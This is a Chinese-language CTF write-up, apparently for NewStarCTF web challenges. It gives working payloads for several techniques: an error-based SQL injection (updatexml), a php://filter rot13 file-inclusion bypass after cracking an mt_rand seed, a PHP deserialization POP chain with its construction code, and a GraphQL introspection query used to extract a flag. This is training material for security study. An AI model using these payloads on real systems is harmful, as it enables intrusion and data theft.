上周做题被这道sql注入整感动了,这次增加难度又来了
虽然加了点难度,但是还是挺简单
直接运用报错注入就行
payload=1'%20and%20updatexml(1%2Cconcat(0x7e%2C(select%20text%20from%20wfy_comments%20limit%20"+str(i)+"%2C1)%2C0x7e%2Cuser()%2C0x7e%2C%40%40datadir)%2C1)%23
直接爆破limit后面的数字就行,可以再看看留言哈哈
在11的时候可以看到flag
一个特殊的文件包含
直接就是给出了一串代码:
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."
";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
利用mt_srand是伪随机数用它给出的Hint到php_mt_seed里面直接跑
跑出来测试一下就行
最后结果是1202031004
进入第一个if
第二个if是判断传入的file参数过滤base以及目录穿越
而且必须含有Newstar,最后需要包含flag.php
看起来是伪协议套一层协议
因为base被过滤了所以这里用rot13
payload=php://filter/read=string.rot13/newstar/resource=flag.php
最后用rot13复原一下就行:<?cuc //synt{r9351rpq-n25r-46r0-o50r-pn177p3o2p84}
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
不做过多评价,直接讲一下调用链子
__
最终调用点在Sec::__invoke
进入__invoke需要调用到Start::__isset
然后eeee::__clone为进入点
由Easy::__call方法进入eeee::__clone
由Sec::__tostring进入__call方法
最后开头从Start::__destruct进入tostring方法
__
至此调用完成
整理一下:
# Start:__destruct==>Sec::__toString==>Easy::__call==>eeee::__clone==>Start::__isset==>Sec::__invoke
$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();
$sec->obj = $easy;
$eeee->obj = $start;
$sec->var = $eeee;
$start->name = $sec;
$start->func = $sec;
#flag{8432d87c-475b-4fd1-b552-1d9949ace8d8} Welcome to NewStarCTF, CTFers
第一次接触API类型题目
学习了一下
Sp4rkW师傅的CSDN文章
访问www.zip下载到源码
<html>
<body>
<center>
<h1>Search Page</h1><br>
<hr><br>
<form action="" method="post">
请输入用户ID:
<input type="text" name="id">
<input type="submit" value="Search">
</form>
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str){
if(!is_numeric($str) || preg_replace("/[0-9]/","",$str) !== ""){#判断是否为数字字符串如果不是或者如果替换掉里的数字不为空就返回False,需要全部都不满足
return False;
}else{
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if(isset($id)){
if(waf($id)){
isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if($res->data->users_user_by_pk->name !== NULL){
echo "ID: ".$id."
Name: ".$res->data->users_user_by_pk->name;
}else{
echo "Can't found it!
DEBUG: ";
var_dump($res->data);
}
}else{
die("Hacker!");
}
}else{
die("No Data?");
}
?>
</center>
</body>
</html>
发现我们直接在页面查询是输入了一个id
如果我们post提交了一个data那么他就不会执行后面的文件从而执行我们自己的输入
搜了一下graphql的api,能完全控制语句
直接通过内省查询获取所有数据:
data={"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
查询到所有数据,直接全局搜索flag发现如下信息
也就是说我们直接去查询ffffllllaaagggg_1n_h3r3_flag里面的flag字段就行
利用查询语法
{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}
就能拿到flag